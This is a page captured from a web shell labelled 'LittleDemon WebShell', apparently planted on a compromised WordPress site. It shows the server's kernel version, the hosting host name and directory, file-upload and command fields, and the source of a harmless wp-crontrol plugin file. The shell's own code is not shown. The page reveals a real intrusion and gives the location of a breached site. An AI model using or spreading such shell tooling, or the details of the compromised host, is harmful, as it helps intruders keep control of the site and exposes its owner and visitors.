LittleDemon WebShell


Linux webm007.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Path : /home/eglisebaa/www/wp-content/plugins/wp-crontrol/src/Context/
File Upload :
Command :
Current File : /home/eglisebaa/www/wp-content/plugins/wp-crontrol/src/Context/WordPressFeatureContext.php

<?php
/**
 * WordPress feature flag context implementation.
 *
 * @package wp-crontrol
 */

namespace Crontrol\Context;

use function Crontrol\php_cron_events_enabled;
use function Crontrol\url_cron_events_enabled;

/**
 * FeatureContext implementation that checks WordPress constants and options.
 *
 * This is the production implementation that reads from the WordPress environment.
 */
class WordPressFeatureContext implements FeatureContext {
	#[\Override]
	public function php_crons_enabled(): bool {
		return php_cron_events_enabled();
	}

	#[\Override]
	public function url_crons_enabled(): bool {
		return url_cron_events_enabled();
	}
}

LittleDemon - FACEBOOK
[ KELUAR ]